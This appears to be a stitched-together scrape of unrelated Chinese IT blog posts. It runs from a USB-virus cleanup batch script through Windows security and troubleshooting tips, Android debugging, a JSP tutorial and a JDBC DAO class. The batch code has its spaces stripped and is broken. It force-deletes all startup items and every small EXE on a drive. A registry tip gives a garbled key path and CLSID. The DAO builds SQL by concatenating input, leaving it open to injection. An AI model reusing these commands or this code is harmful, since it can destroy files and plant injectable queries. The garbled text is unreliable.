for/r%SYSTEMROOT%\system32%%iin(XP-*.EXE,winvcreg.exe,og.dll,ul.dll,og.EDT,21c0.EDT,21c0.inf,69fe.inf,com.run,dp1.fne,eAPI.fne,internet.fne,krnln.fnr,RegEx.fnr,shell.fne,spec.fne,msdll.dll)do( 22 ifexist%%i(attrib-h-r-s%%i)&(DEL/F/Q/A%%i) 23 )>nul 24 for/r%temp%%%iin(XP-*.EXE,winvcreg.exe,og.dll,ul.dll,og.EDT,21c0.EDT,21c0.inf,69fe.inf,com.run,dp1.fne,eAPI.fne,internet.fne,krnln.fnr,RegEx.fnr,shell.fne,spec.fne,msdll.dll)do( 25 ifexist%%i(attrib-h-r-s%%i)&(DEL/F/Q/A%%i) 26 )>nul 27 attrib-h-r-s%TEMP%\E_4 28 rd%TEMP%\E_4\ 29 attrib-r-h-s-a"C:\RECYCLER\S-1-5-21-796845957-1482476501-682003330-500\Dc9.exe" 30 attrib-r-h-s-a"C:\RECYCLER\S-1-5-21-796845957-1482476501-682003330-500\Dc10.exe" 31 attrib-r-h-s-a"C:\RECYCLER\S-1-5-21-796845957-1482476501-682003330-500\Dc11.exe" 32 DEL/F/Q/A"C:\RECYCLER\S-1-5-21-796845957-1482476501-682003330-500\Dc9.exe" 33 DEL/F/Q/A"C:\RECYCLER\S-1-5-21-796845957-1482476501-682003330-500\Dc10.exe" 34 DEL/F/Q/A"C:\RECYCLER\S-1-5-21-796845957-1482476501-682003330-500\Dc11.exe" 35 echo清除病毒自启动…… 36 ::是否需要修改RUN中一个无名文件夹的二进制数值? 37 attrib-r-h-s-a"%USERPROFILE%\「开始」菜单\程序\启动\.lnk" 38 del"%USERPROFILE%\「开始」菜单\程序\启动\.lnk"/q/f 39 for/f"delims=."%%ain(psyf.txt)do(regdelete"HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"/v%%a/f) 40 Del"%ALLUSERSPROFILE%\「开始」菜单\程序\启动\*.*"/q/f 41 Del"%USERPROFILE%\「开始」菜单\程序\启动\*.*"/q/f 42 Del"C:\Docume~1\DefaultUser\「开始」菜单\程序\启动\*.*"/q/f 43 delpsyf.txt,fpath.txt 44 start%SYSTEMROOT%\explorer.exe 45 cls&echo. 46 echo以下清理移动盘中的EXE病毒,请插入移动盘继续! 47 echo. 48 echo◇移动盘中与文件夹名字相同的EXE程序将被清理。 49 echo◇移动盘中的EXE程序大小小于2M的将被清理。 50 echo◇请做好备份后继续。 51 echo. 52 echo.&pause 53 cls&echo. 54 for/f"skip=1"%%ain('wmiclogicaldiskwhere"drivetype='2'"getdeviceid')do( 55 setlocalEnableDelayedexpansion 56 dir%%a>nul&&IFERRORLEVEL0settvd=%%a 57 )>nul 58 echo. 59 echo移动盘www.2cto.com是:!tvd! 60 echo. 61 echo正在恢复显示移动盘中的文件,请稍候……(文件过多可能会影响速度。) 62 echo. 63 for/f%%iin("!tvd!")doattrib%%~di\*.*-s-r-h-a/d/s 64 setlocalEnableDelayedexpansion 65 for/r%tvd%%%ein(.)do( 66 setw2=%%~fe 67 for/r%tvd%%%iin(*.exe)do( 68 setw1=%%~dpni 69 if!w1!==!w2!del/f/a/q%%i 70 ) 71 ) 72 for/r%tvd%%%iin(*.exe)do( 73 if%%~zilss2000000(ifexist%%idel/f/q/a%%i) 74 ) 75 del/a/f/q%tvd%\Autorun.inf.exe 76 del/a/f/q%tvd%\Autorun.exe 77 del/a/f/q%tvd%\RECYCLER.exe 78 del/a/f/qRecycled.exe 79 del/a/f/q%tvd%\Notepad.exe 80 del/a/f/q%tvd%\autorun.inf 81 echo移动盘同名文件夹病毒专杀工具>%tvd%\autorun.inf 82 attrib+a+h+r+s%tvd%\autorun.inf 83 copy%0%tvd%>nul 84 cls&echo. 85 echo杀毒完毕! 86 echo. 87 pause 五、安全防护 安全防护意识低是导致该病毒泛滥的一大原因。请检查自己的优盘、MP3、MP4、内存卡、手机等等是否中了该病毒,中毒了请注意查杀。 特别是那种公用优盘或者公用电脑,一定要准备一个USB专杀工具,凡是插入的盘都要经过查杀再运行,这样才能有效的阻止病毒的传播。 同时,禁用系统的自动播放功能和免疫Autoruns能够有效的预防病毒的自动运行和传播。最近两年移动盘病毒泛滥的一个主要原因就是系统存在两个漏洞,autoruns和desktop。请检查你的电脑是否也存在该漏洞。
1 ??? 2 这个蠢货竟然用360? (360杀毒太流氓,插件不可控,就是第一个要杀的木马) 一些基本的命令往往可以在保护网络安全上起到很大的作用,下面几条命令的作用就非常突出。 一、检测网络连接 如果你怀疑自己的计算机上被别人安装了木马,或者是中了病毒,但是手里没有完善的工具来检测是不是真有这样的事情发生,那可以使用Windows自带的网络命令来看看谁在连接你的计算机。 具体的命令格式是:netstat-an这个命令能看到所有和本地计算机建立连接的IP,它包含四个部分——proto(连接方式)、localaDDRess(本地连接地址)、foreignaddress(和本地建立连接的地址)、state(当前端口状态)。通过这个命令的详细信息,我们就可以完全监控计算机上的连接,从而达到控制计算机的目的。 二、禁用不明服务 很多朋友在某天系统重新启动后会发现计算机速度变慢了,不管怎么优化都慢,用杀毒软件也查不出问题,这个时候很可能是别人通过入侵你的计算机后给你开放了特别的某种服务,比如IIS信息服务等,这样你的杀毒软件是查不出来的。但是别急,可以通过"netstart"来查看系统中究竟有什么服务在开启,如果发现了不是自己开放的服务,我们就可以有针对性地禁用这个服务了。 方法就是直接输入"netstart"来查看服务,再用"netstopserver"来禁止服务。 三、轻松检查账户 很长一段时间,恶意的攻击者非常喜欢使用克隆账号的方法来控制你的计算机。他们采用的方法就是激活一个系统中的默认账户,但这个账户是不经常用的,然后使用工具把这个账户提升到管理员权限,从表面上看来这个账户还是和原来一样,但是这个克隆的账户却是系统中最大的安全隐患。恶意的攻击者可以通过这个账户任意地控制你的计算机。 为了避免这种情况,可以用很简单的方法对账户进行检测。 首先在命令行下输入netuser,查看计算机上有些什么用户,然后再使用"netuser+用户名"查看这个用户是属于什么权限的,一般除了Administrator是administrators组的,其他都不是!如果你发现一个系统内置的用户是属于administrators组的,那几乎肯定你被入侵了,而且别人在你的计算机上克隆了账户。快使用"netuser用户名/del"来删掉这个用户吧!
Windows系统的Svchost.exe和Explorer.exe两种进程,作为Windows系统中两种重要的进程,下面我们就来看看他们的特点以及在各个操作系统中的应用。 Explorer.exe 在Windows系列的操作系统中,运行时都会启动一个名为Explorer.exe的进程。这个进程主要负责显示系统桌面上的图标以及任务栏,它在不同的系统中有不同的妙用。 在Windows9x中,这个进程是运行系统时所必需的。如果用"结束任务"的方法来结束Explorer.exe进程,系统就会刷新桌面,并更新注册表。所以,我们也可以利用此方法来快速更新注册表。 方法如下: 按下Ctrl+Alt+Del组合键,出现"结束任务"对话框。在该对话框中选择"Explorer"选项,然后单击"结束任务"按钮,将出现"关闭Windows"对话框。单击"否"按钮,系统过一会儿将出现另一个对话框,告诉你该程序没有响应,询问是否结束任务。单击"结束任务"按钮,则更新注册表并返回Windows9x系统环境中。这比起烦琐的重新启动过程要方便多了? 在Windows2000/XP和其他WindowsNT内核的系统中,Explorer.exe进程并不是系统运行时所必需的,所以可以用任务管理器来结束它,并不影响系统的正常工作。打开你需要运行的程序,如记事本。然后右击任务栏,选择"任务管理器",选中"进程"选项卡,在窗口中选择Explorer.exe进程,单击"结束进程"按钮,,接下来桌面上除了壁纸(活动桌面ActiveDesktop的壁纸除外),所有图标和任务栏都消失了。此时你仍可以像平常一样操作一切软件。 如果你想运行其他软件,但此时桌面上空无一物,怎么办?别着急,下面有两种可以巧妙地打开其他软件: 第一种方法:按下Ctrl+Alt+Del组合键,出现"Windows安全"对话框,单击"任务管理器"按钮(或是直接按下Ctrl+Shift+Esc组合键),在任务管理器窗口中选中"应用程序"选项卡,单击"新任务",在弹出的"创建新任务"的对话框中,输入你想要打开的软件的路径和名称即可。 你还可以在正在运行的软件上,选择"文件→打开",在"打开"对话框中,点击"文件类型"下拉列表,选择"所有文件",再浏览到你想打开的软件,右击它,在快捷菜单中选择"打开"命令,就可以启动你需要的软件了。注意,此时不能够通过单击"打开"按钮来打开软件,此种方法适用于大多数软件,Office系列除外。 通过结束Explorer.exe进程,还可以减少4520KB左右的系统已使用内存,无疑会加快系统的运行速度,为资源紧张的用户腾出了宝贵的空间。 Svchost.exe Svchost.exe是NT核心系统的非常重要的进程,对于2000、XP来说,不可或缺。很多病毒、木马也会调用它。所以,深入了解这个程序,是玩电脑的必修课之一。 大家对Windows操作系统一定不陌生,但你是否注意到系统中"Svchost.exe"这个文件呢?细心的朋友会发现Windows中存在多个"Svchost"进程(通过"ctrl+alt+del"键打开任务管理器,这里的"进程"标签中就可看到了),为什么会这样呢?下面就来揭开它神秘的面纱。 在基于NT内核的Windows操作系统家族中,不同版本的Windows系统,存在不同数量的"Svchost"进程,用户使用"任务管理器"可查看其进程数目。一般来说,Win2000有两个Svchost进程,WinXP中则有四个或四个以上的Svchost进程(以后看到系统中有多个这种进程,千万别立即判定系统有病毒了哟),而Win2003server中则更多。这些Svchost进程提供很多系统服务,如:rpcss服务(remoteprocedurecall)、dmserver服务(logicaldiskmanager)、dhcp服务(dhcpclieNT)等。 如果要了解每个Svchost进程到底提供了多少系统服务,可以在Win2000的命令提示符窗口中输入"tlist-s"命令来查看,该命令是Win2000supporttools提供的。在WinXP则使用"tasklist/svc"命令。 Svchost中可以包含多个服务 Windows系统进程分为独立进程和共享进程两种,"Svchost.exe"文件存在于"%systemroot%system32"目录下,它属于共享进程。随着Windows系统服务不断增多,为了节省系统资源,微软把很多服务做成共享方式,交由Svchost.exe进程来启动。 但Svchost进程只作为服务宿主,并不能实现任何服务功能,即它只能提供条件让其他服务在这里被启动,而它自己却不能给用户提供任何服务。那这些服务是如何实现的呢? 原来这些系统服务是以动态链接库(dll)形式实现的,它们把可执行程序指向Svchost,由Svchost调用相应服务的动态链接库来启动服务。那Svchost又怎么知道某个系统服务该调用哪个动态链接库呢?这是通过系统服务在注册表中设置的参数来实现。 从启动参数中可见服务是靠Svchost来启动的。 因为Svchost进程启动各种服务,所以病毒、木马也想尽办法来利用它,企图利用它的特性来迷惑用户,达到感染、入侵、破坏的目的。但Windows系统存在多个Svchost进程是很正常的,在受感染的机器中到底哪个是病毒进程呢? 这里仅举一例来说明。 假设WindowsXP系统被病毒感染了。正常的Svchost文件存在于"c:\Windows\system32"目录下,如果发现该文件出现在其他目录下就要小心了。病毒存在于"c:\Windows\system32\Wins"目录中,因此使用进程管理器查看Svchost进程的执行文件路径就很容易发现系统是否感染了病毒。 Windows系统自带的任务管理器不能够查看进程的路径,可以使用第三方进程管理软件,通过这些工具就可很容易地查看到所有的Svchost进程的执行文件路径,一旦发现其执行路径为不平常的位置就应该马上进行检测和处理。
解决电脑假死现象 操作步骤 1.先升级机子上的杀毒程序,进行全盘查杀,确保无病毒因素的干扰。 2.点击开始--运行,输入msconfig,进入系统配置界面,把不必要的服务以及启动项关闭,然后重启电脑。 3.进入我的电脑--工具--文件夹选项--查看--取消"自动搜索网络文件夹和打印机"的勾选。 4.固定IP地址,避免因为DHCP服务自动分配地址而耽误时间。点击开始--设置--网络连接--右击本地连接--属性--双击Internet协议(TCP/IP)--如果IP地址为空的话,点使用下面的IP地址指定IP地址和子网掩码。如可以将IP地址设为192.168.0.X(X为1-255之间任一值),子网掩码可设为255.255.255.0--确定--确定。 5.清除预取目录,进入C:\WINDOWS\Prefetch文件夹,将扩展名为pf的文件全部删除,重启即可。
无法启动"添加与删除程序"系统报rundll32错误 系统反馈以下信息: rundll32.exe应用程序错误"0x00310030"指令 解决方法: 1.启动注册表管理器regedit 2.卸载以下键值: KEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Wdf01005
误删资料恢复 一不小心,删错了,还把回收站清空了,咋办啊? 只要三步,你就能找回你删掉并清空回收站的东西 步骤: 1、单击"开始——运行,然后输入regedit(打开注册表) 2、依次展开:HEKEY——LOCAL——MACHIME/SOFTWARE/microsoft/WINDOWS/CURRENTVERSION/EXPLORER/DESKTOP/NAMESPACE在左边空白外点击"新建" ,选择:"主键",把它命名为"645FFO40——5081——101B——9F08——00AA002F954E" 再把右边的"默认"的主键的键值设为"回收站",然后退出注册表。就OK啦。 3、要重启计算机。 只要机器没有运行过磁盘整理。系统完好.任何时候的文件都可以找回来。
一、由硬件引起的原因 【散热不良】 显示器、电源和CPU在工作中发热量非常大,因此保持良好的通风状况非常重要,如果显示器过热将会导致色彩、图象失真甚至缩短显示器寿命。工作时间太长也会导致电源或显示器散热不畅而造成电脑死机。CPU的散热是关系到电脑运行的稳定性的重要问题,也是散热故障发生的"重灾区"。 【移动不当】 在电脑移动过程中受到很大振动常常会使机器内部器件松动,从而导致接触不良,引起电脑死机,所以移动电脑时应当避免剧烈振动。 【灰尘杀手】 机器内灰尘过多也会引起死机故障。如软驱磁头或光驱激光头沾染过多灰尘后,会导致读写错误,严重的会引起电脑死机。 【设备不匹配】 如主板主频和CPU主频不匹配,老主板超频时将外频定得太高,可能就不能保证运行的稳定性,因而导致频繁死机。 【软硬件不兼容】 三维软件和一些特殊软件,可能在有的微机上就不能正常启动甚至安装,其中可能就有软硬件兼容方面的问题。 【内存条故障】 主要是内存条松动、虚焊或内存芯片本身质量所致。应根据具体情况排除内存条接触故障,如果是内存条质量存在问题,则需更换内存才能解决问题。 【硬盘故障】 主要是硬盘老化或由于使用不当造成坏道、坏扇区。这样机器在运行时就很容易发生死机。可以用专用工具软件来进行排障处理,如损坏严重则只能更换硬盘了。另外对于在不支持UDMA66/100的主板,应注意CMOS中硬盘运行方式的设定。 【CPU超频】 超频提高了CPU的工作频率,同时,也可能使其性能变得不稳定。究其原因,CPU在内存中存取数据的速度本来就快于内存与硬盘交换数据的速度,超频使这种矛盾更加突出,加剧了在内存或虚拟内存中找不到所需数据的情况,这样就会出现"异常错误"。解决办法当然也比较简单,就是让CPU回到正常的频率上。 【硬件资源冲突】 是由于声卡或显示卡的设置冲突,引起异常错误。此外,其它设备的中断、DMA或端口出现冲突的话,可能导致少数驱动程序产生异常,以致死机。解决的办法是以"安全模式"启动,在"控制面板"→"系统"→"设备管理"中进行适当调整。对于在驱动程序中产生异常错误的情况,可以修改注册表。选择"运行",键入"REGEDIT",进入注册表编辑器,通过选单下的"查找"功能,找到并删除与驱动程序前缀字符串相关的所有"主键"和"键值",重新启动。 【内存容量不够】 内存容量越大越好,应不小于硬盘容量的0.5~1%,如出现这方面的问题,就应该换上容量尽可能大的内存条。 【劣质零部件】 少数不法商人在给顾客组装兼容机时,使用质量低劣的板卡、内存,有的甚至出售冒牌主板和Remark过的CPU、内存,这样的机器在运行时很不稳定,发生死机在所难免。因此,用户购机时应该警惕,并可以用一些较新的工具软件测试电脑,长时间连续考机(如72小时),以及争取尽量长的保修时间等。 二、由软件引起的原因 【病毒感染】 病毒可以使计算机工作效率急剧下降,造成频繁死机。这时,我们需用杀毒软件如KV3000、金山毒霸、瑞星等来进行全面查毒、杀毒,并做到定时升级杀毒软件。 【CMOS设置不当】 该故障现象很普遍,如硬盘参数设置、模式设置、内存参数设置不当从而导致计算机无法启动。如将无ECC功能的内存设置为具有ECC功能,这样就会因内存错误而造成死机。 【系统文件的误删除】 由于Windows9x启动需要有Command.com、Io.sys、Msdos.sys等文件,如果这些文件遭破坏或被误删除,即使在CMOS中各种硬件设置正确无误也无济于事。解决方法:使用同版本操作系统的启动盘启动计算机,然后键入"SYSC:",重新传送系统文件即可。 【初始化文件遭破坏】 由于Windows9x启动需要读取System.ini、Win.ini和注册表文件,如果存在Config.sys、Autoexec.bat文件,这两个文件也会被读取。只要这些文件中存在错误信息都可能出现死机,特别是System.ini、Win.ini、User.dat、System.dat这四个文件尤为重要。 【动态链接库文件(DLL)丢失】 在Windows操作系统中还有一类文件也相当重要,这就是扩展名为DLL的动态链接库文件,这些文件从性质上来讲是属于共享类文件,也就是说,一个DLL文件可能会有多个软件在运行时需要调用它。如果我们在删除一个应用软件的时候,该软件的反安装程序会记录它曾经安装过的文件并准备将其逐一删去,这时候就容易出现被删掉的动态链接库文件同时还会被其它软件用到的情形,如果丢失的链接库文件是比较重要的核心链接文件的话,那么系统就会死机,甚至崩溃。我们可用工具软件如"超级兔仔"对无用的DLL文件进行删除,这样会避免误删除。 【硬盘剩余空间太少或碎片太多】 如果硬盘的剩余空间太少,由于一些应用程序运行需要大量的内存、这样就需要虚拟内存,而虚拟内存则是由硬盘提供的,因此硬盘要有足够的剩余空间以满足虚拟内存的需求。同时用户还要养成定期整理硬盘、清除硬盘中垃圾文件的良好习惯。 【BIOS升级失败】 应备份BIOS以防不测,但如果你的系统需要对BIOS进行升级的话,那么在升级之前最好确定你所使用BIOS版本是否与你的PC相符合。如果BIOS升级不正确或者在升级的过程中出现意外断电,那么你的系统可能无法启动。所以在升级BIOS前千万要搞清楚BIOS的型号。如果你所使用的BIOS升级工具可以对当前BIOS进行备份,那么请把以前的BIOS在磁盘中拷贝一份。同时看系统是否支持BIOS恢复并且还要懂得如何恢复。 【软件升级不当】 大多数人可能认为软件升级是不会有问题的,事实上,在升级过程中都会对其中共享的一些组件也进行升级,但是其它程序可能不支持升级后的组件从而导致各种问题。 【滥用测试版软件】 最好少用软件的测试版,因为测试软件通常带有一些BUG或者在某方面不够稳定,使用后会出现数据丢失的程序错误、死机或者是系统无法启动。 【非法卸载软件】 不要把软件安装所在的目录直接删掉,如果直接删掉的话,注册表以及Windows目录中会有很多垃圾存在,久而久之,系统也会变不稳定而引起死机。 【使用盗版软件】 因为这些软件可能隐藏着病毒,一旦执行,会自动修改你的系统,使系统在运行中出现死机。 【应用软件的缺陷】 这种情况是常见的,如在Win98中运行那些在DOS或Windows3.1中运行良好的16位应用软件。Win98是32位的,尽管它号称兼容,但是有许多地方是无法与16位应用程序协调的。还有一些情况,如在Win95下正常使用的外设驱动程序,当操作系统升级后,可能会出现问题,使系统死机或不能正常启动。遇到这种情况应该找到外设的新版驱动。 【启动的程序太多】 这使系统资源消耗殆尽,使个别程序需要的数据在内存或虚拟内存中找不到,也会出现异常错误。 【非法操作】 用非法格式或参数非法打开或释放有关程序,也会导致电脑死机。请注意要牢记正确格式和相关参数,不随意打开和释放不熟悉的程序。 【非正常关闭计算机】 不要直接使用机箱中的电源按钮,否则会造成系统文件损坏或丢失,引起自动启动或者运行中死机。对于Windows98/2000/NT等系统来说,这点非常重要,严重的话,会引起系统崩溃。 【内存中冲突】 有时候运行各种软件都正常,但是却忽然间莫名其妙地死机,重新启动后运行这些应用程序又十分正常,这是一种假死机现象。出现的原因多是Win98的内存资源冲突。大家知道,应用软件是在内存中运行的,而关闭应用软件后即可释放内存空间。但是有些应用软件由于设计的原因,即使在关闭后也无法彻底释放内存的,当下一软件需要使用这一块内存地址时,就会出现冲突。
使用真机测试原因: 1. 模拟器启动慢,真机测试速度较快 2. 有些程序在真机测试才有效,模拟器存在bug,结果要以真机为标准 连接方法: 1.设置手机为开发者模式(设置->关于手机->连续点击MIUI版本——开启成功) 2.在更多设置中找到系统安全设置——允许安装未知来源的应用 3.在更多设置中选择开发者选项,在开发者选项中同时勾选USB调试和USB安装的开关 eclipse中: 点击Run ---> Run configurations 选择target , 选择Always prompt to pick device 然后运行程序,就可以发现连接的安卓设备 Android Studio中: 1.在工具栏中找到app,点开后选择“Edit configurations” 2.选择其中的Target为 USB Device
JSP (java服务器页面) JSP全名为Java Server Pages,中文名叫java服务器页面,其根本是一个简化的Servlet设计,它[1] 是由Sun Microsystems公司倡导、许多公司参与一起建立的一种动态网页技术标准。JSP技术有点类似ASP技术,它是在传统的网页HTML(标准通用标记语言的子集)文件(*.htm,*.html)中插入Java程序段(Scriptlet)和JSP标记(tag),从而形成JSP文件,后缀名为(*.jsp)。 用JSP开发的Web应用是跨平台的,既能在Linux下运行,也能在其他操作系统上运行。 它实现了Html语法中的java扩展(以 <%, %>形式)。JSP与Servlet一样,是在服务器端执行的。通常返回给客户端的就是一个HTML文本,因此客户端只要有浏览器就能浏览。 JSP技术使用Java编程语言编写类XML的tags和scriptlets,来封装产生动态网页的处理逻辑。网页还能通过tags和scriptlets访问存在于服务端的资源的应用逻辑。JSP将网页逻辑与网页设计的显示分离,支持可重用的基于组件的设计,使基于Web的应用程序的开发变得迅速和容易。 JSP(JavaServer Pages)是一种动态页面技术,它的主要目的是将表示逻辑从Servlet中分离出来。 Java Servlet是JSP的技术基础,而且大型的Web应用程序的开发需要Java Servlet和JSP配合才能完成。JSP具备了Java技术的简单易用,完全的面向对象,具有平台无关性且安全可靠,主要面向因特网的所有特点。 servlet Servlet(Server Applet)是Java Servlet的简称,称为小服务程序或服务连接器,用Java编写的服务器端程序,主要功能在于交互式地浏览和修改数据,生成动态Web内容。 狭义的Servlet是指Java语言实现的一个接口,广义的Servlet是指任何实现了这个Servlet接口的类,一般情况下,人们将Servlet理解为后者。Servlet运行于支持Java的应用服务器中。从原理上讲,Servlet可以响应任何类型的请求,但绝大多数情况下Servlet只用来扩展基于HTTP协议的Web服务器。 最早支持Servlet标准的是JavaSoft的Java Web Server,此后,一些其它的基于Java的Web服务器开始支持标准的Servlet。 创建第一个项目 1. 选择Dynamic Web Project , 模板版本选择2.5 2. 项目的目录结构, META-INF不用理解 , WEB-INF下lib存放jar包与web.xml文件(必要的配置),服务器响应页面在WebRoot下,如图中index.jsp. 3. tomcat添加项目,启动tomcat . JSP基本语法 例如上例中的index.jsp文件: 1 <%@ page language="java" import="java.util.*" pageEncoding="UTF-8"%> 2 <% 3 String path = request.getContextPath(); 4 String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/"; 5 %> 6 7 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> 8 <html> 9 <head> 10 <base href="<%=basePath%>"> 11 12 <title>My JSP 'index.jsp' starting page</title> 13 <meta http-equiv="pragma" content="no-cache"> 14 <meta http-equiv="cache-control" content="no-cache"> 15 <meta http-equiv="expires" content="0"> 16 <meta http-equiv="keywords" content="keyword1,keyword2,keyword3"> 17 <meta http-equiv="description" content="This is my page"> 18 <!-- 19 <link rel="stylesheet" type="text/css" href="styles.css"> 20 --> 21 </head> 22 23 <body> 24 This is my JSP page. <br> 25 </body> 26 </html> 1.在开始的page中: language用来设置脚本语言,jsp中只有java一种 Language : 用来定义要使用的脚本语言 contentType:定义 JSP 字符的编码和页面响应的 MIME 类型 pageEncoding:Jsp 页面的字符编码 2.scriptlet 标签 通过 scriptlet 标签我们可以在 Jsp 里嵌入 Java 代码; 第一种:<%! %> 我们可以在里面定义全局变量、方法、类; 1 <%@ page language="java" import="java.util.*" pageEncoding="UTF-8"%> 2 <% 3 String path = request.getContextPath(); 4 String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/"; 5 %> 6 7 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> 8 <html> 9 <head> 10 <base href="<%=basePath%>"> 11 12 <title>My JSP 'index.jsp' starting page</title> 13 <meta http-equiv="pragma" content="no-cache"> 14 <meta http-equiv="cache-control" content="no-cache"> 15 <meta http-equiv="expires" content="0"> 16 <meta http-equiv="keywords" content="keyword1,keyword2,keyword3"> 17 <meta http-equiv="description" content="This is my page"> 18 <!-- 19 <link rel="stylesheet" type="text/css" href="styles.css"> 20 --> 21 22 <%! 23 String str = "全局变量" ; 24 %> 25 <%! 26 public void func(){ 27 System.out.println("全局方法"); 28 } 29 %> 30 <%! 31 class My{ 32 private int a = 1; 33 public void f(){ 34 System.out.println("全局类"); 35 } 36 } 37 %> 38 </head> 39 40 <body> 41 This is my JSP page. <br> 42 </body> 43 </html> 将上述jsp放入tomcat编译之后: 在tomcat的work目录下寻找到jsp中java代码的编译文件 第二种:<% %> 我们可以在里面定义局部变量、编写语句; 与第一种相差不多,具体可以尝试. 第三种:<%= %> 我们可以在里面输出一个变量或一个具体内容; 相当于在页面中输出一段信息,如 <%=b%> 会输出变量b 3. Jsp 注释 <!-- --> Html 注释 客户端(在浏览器查看网页源码时)可见<%-- --%> Jsp 注释 客户端(在浏览器查看网页源码时)不可见// java 单行注释/**/ java 多行注释 4. Jsp包含指令 <%@ include file=”要包含的文件”%> 在同级目录下创建MyHtml.html文件,内容只有: 1 <body> 2 My Html page<br> 3 </body> 在index.jsp中添加静态包含指令代码: 1 <body> 2 <%@ include file="MyHtml.html" %> 3 </body> 启动 tomcat : <jsp:include page=”要包含的文件”> 基本操作与上述相差不多,只不过 静态包含先把包含文件加入,再编译运行, 动态包含是先编译,在将包含文件插入 . 在开发中应多使用动态包含. 5. Jsp 跳转指令 <jsp:forward page=" "><jsp:param value=”” name=”” /></jsp:forward>服务器内部跳转,可带参数; 例如 , 从form.jsp中带参数跳转至target.jsp 中 form.jsp : 1 <%@ page language="java" import="java.util.*" pageEncoding="UTF-8"%> 2 <% 3 String path = request.getContextPath(); 4 String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/"; 5 %> 6 7 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> 8 <html> 9 <head> 10 <base href="<%=basePath%>"> 11 12 <title>My JSP 'form.jsp' starting page</title> 13 14 <meta http-equiv="pragma" content="no-cache"> 15 <meta http-equiv="cache-control" content="no-cache"> 16 <meta http-equiv="expires" content="0"> 17 <meta http-equiv="keywords" content="keyword1,keyword2,keyword3"> 18 <meta http-equiv="description" content="This is my page"> 19 <!-- 20 <link rel="stylesheet" type="text/css" href="styles.css"> 21 --> 22 23 </head> 24 25 <body> 26 <jsp:forward page="target.jsp"> 27 <jsp:param value="HelloWorld" name="forward"/> 28 </jsp:forward> 29 </body> 30 </html> target.jsp : 1 <%@ page language="java" import="java.util.*" pageEncoding="UTF-8"%> 2 <% 3 String path = request.getContextPath(); 4 String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/"; 5 %> 6 7 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> 8 <html> 9 <head> 10 <base href="<%=basePath%>"> 11 12 <title>My JSP 'target.jsp' starting page</title> 13 14 <meta http-equiv="pragma" content="no-cache"> 15 <meta http-equiv="cache-control" content="no-cache"> 16 <meta http-equiv="expires" content="0"> 17 <meta http-equiv="keywords" content="keyword1,keyword2,keyword3"> 18 <meta http-equiv="description" content="This is my page"> 19 <!-- 20 <link rel="stylesheet" type="text/css" href="styles.css"> 21 --> 22 23 </head> 24 25 <body> 26 get form jsp: <%=request.getParameter("forward") %> 27 </body> 28 </html> 启动tomcat ,访问 http://127.0.0.1:8000/HelloWorld/form.jsp (HelloWorld是项目名称)
完整代码以及junit,mysql--connector包下载地址 : https://github.com/CasterWx/MyStudentDao 表信息: 代码: dao包----impl包----StudentDAOImpl.java 1 package dao.impl; 2 3 import dao.IStudentDAO; 4 import domain.Student; 5 6 import java.sql.*; 7 import java.util.ArrayList; 8 import java.util.List; 9 10 public class StudentDAOImpl implements IStudentDAO { 11 public static Connection connection = null ; 12 13 public void setConnection() { 14 try { 15 Class.forName("com.mysql.jdbc.Driver"); 16 System.out.println("连接成功"); 17 }catch (Exception e){ 18 System.out.println("连接失败"); 19 } 20 try{ 21 connection = DriverManager.getConnection("jdbc:mysql://localhost:3306/JavaJDBC","root","root"); 22 }catch (Exception e){ 23 } 24 } 25 26 public void shutdownConnection(){ 27 try { 28 if(connection!=null){ 29 connection.close(); 30 } 31 }catch (Exception e){ 32 } 33 } 34 @Override 35 public void save(Student student) { 36 setConnection(); 37 Statement statement = null ; 38 try { 39 statement = connection.createStatement(); 40 // sql语句:查询对应id 41 String sql = "INSERT INTO t_student(id,name,age) VALUES(" + student.getId()+",'"+student.getName()+"',"+student.getAge()+")"; 42 statement.executeUpdate(sql); 43 }catch (Exception e){ 44 }finally { 45 try{ 46 if (statement!=null){ 47 statement.close(); 48 } 49 }catch (Exception e){ 50 } 51 } 52 shutdownConnection(); 53 } 54 55 @Override 56 public void delete(Student student) { 57 Long id = student.getId() ; 58 delete(id); 59 } 60 61 @Override 62 public void delete(Long id) { 63 setConnection(); 64 Statement statement = null ; 65 try { 66 statement = connection.createStatement(); 67 // sql语句:查询对应id 68 String sql = "DELETE FROM t_student WHERE id="+id; 69 statement.executeUpdate(sql); 70 }catch (Exception e){ 71 }finally { 72 try{ 73 if (statement!=null){ 74 statement.close(); 75 } 76 }catch (Exception e){ 77 } 78 } 79 shutdownConnection(); 80 } 81 82 @Override 83 public void update(Long id, Student student) { 84 setConnection(); 85 Statement statement = null ; 86 try { 87 statement = connection.createStatement(); 88 // sql语句:查询对应id 89 String sql = "UPDATE t_student SET name='"+ student.getName() +"',age="+student.getAge() +" WHERE id="+id; 90 statement.executeUpdate(sql); 91 }catch (Exception e){ 92 }finally { 93 try{ 94 if (statement!=null){ 95 statement.close(); 96 } 97 }catch (Exception e){ 98 } 99 } 100 101 shutdownConnection(); 102 } 103 104 @Override 105 public void update(Student student) { 106 Long id = student.getId() ; 107 update(id,student); 108 } 109 110 @Override 111 public Student get(Long id) { 112 setConnection(); 113 Statement statement = null ; 114 ResultSet resultSet = null ; 115 Student student = null ; 116 try { 117 statement = connection.createStatement(); 118 // sql语句:查询对应id 119 String sql = "SELECT * FROM t_student where id="+id ; 120 resultSet = statement.executeQuery(sql); 121 if(resultSet.next()){ 122 student = new Student() ; 123 student.setId(resultSet.getLong("id")); 124 student.setName(resultSet.getString("name")); 125 student.setAge(resultSet.getLong("age")); 126 return student ; 127 } 128 }catch (Exception e){ 129 }finally { 130 try{ 131 if (statement!=null){ 132 statement.close(); 133 } 134 }catch (Exception e){ 135 }finally { 136 try{ 137 if(resultSet!=null){ 138 resultSet.close(); 139 } 140 }catch (Exception e){ 141 } 142 } 143 } 144 shutdownConnection(); 145 return null; 146 } 147 148 